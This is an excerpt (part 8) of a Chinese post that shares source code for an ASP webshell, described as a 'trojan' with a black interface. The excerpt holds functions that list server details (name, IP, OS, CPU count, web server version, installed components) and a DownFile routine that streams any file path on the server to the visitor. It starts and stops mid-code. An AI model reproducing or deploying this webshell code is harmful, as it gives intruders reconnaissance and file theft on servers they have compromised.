一款不错的asp木马 黑色界面(8)

cellpadding='0' align='center'>"
SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>服
务器组件信息</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' 
bgcolor='#FFFFFF'>服务器名</td><td bgcolor='#FFFFFF'> </td><td 
bgcolor='#FFFFFF'>"&request.serverVariables("SERVER_NAME")&"</td></tr>"
SI=SI&"<form method=post action='http://www.ip138.com/index.asp' 
name='ipform' target='_blank'><tr align='center'><td height='20' 
width='200' bgcolor='#FFFFFF'>服务器IP</td><td 
bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"
SI=SI&"<input type='text' name='ip' size='15' 
value='"&Request.ServerVariables("LOCAL_ADDR")
&"'style='border:0px'><input type='submit' value='查
询'style='border:0px'><input type='hidden' name='action' 
value='2'></td></tr></form>"
SI=SI&"<tr align='center'><td height='20' width='200' 
bgcolor='#FFFFFF'>服务器时间</td><td bgcolor='#FFFFFF'> </td><td 
bgcolor='#FFFFFF'>"&now&" </td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' 
bgcolor='#FFFFFF'>服务器CPU数量</td><td 
bgcolor='#FFFFFF'> </td><td 
bgcolor='#FFFFFF'>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")
&"</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' 
bgcolor='#FFFFFF'>服务器操作系统</td><td 
bgcolor='#FFFFFF'> </td><td 
bgcolor='#FFFFFF'>"&Request.ServerVariables("OS")&"</td></tr>"
SI=SI&"<tr align='center'><td height='20' width='200' 
bgcolor='#FFFFFF'>WEB服务器版本</td><td 
bgcolor='#FFFFFF'> </td><td 
bgcolor='#FFFFFF'>"&Request.ServerVariables("SERVER_SOFTWARE")
&"</td></tr>"
For i=0 To 13
SI=SI&"<tr align='center'><td height='20' width='200' 
bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)
&"</td><td bgcolor='#FFFFFF' align=left>"&ObT(i,2)&"</td></tr>"
Next
RRS SI
End Function
Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" & 
Mid(path,sz)
Response.AddHeader "Content-Length", OSM.Size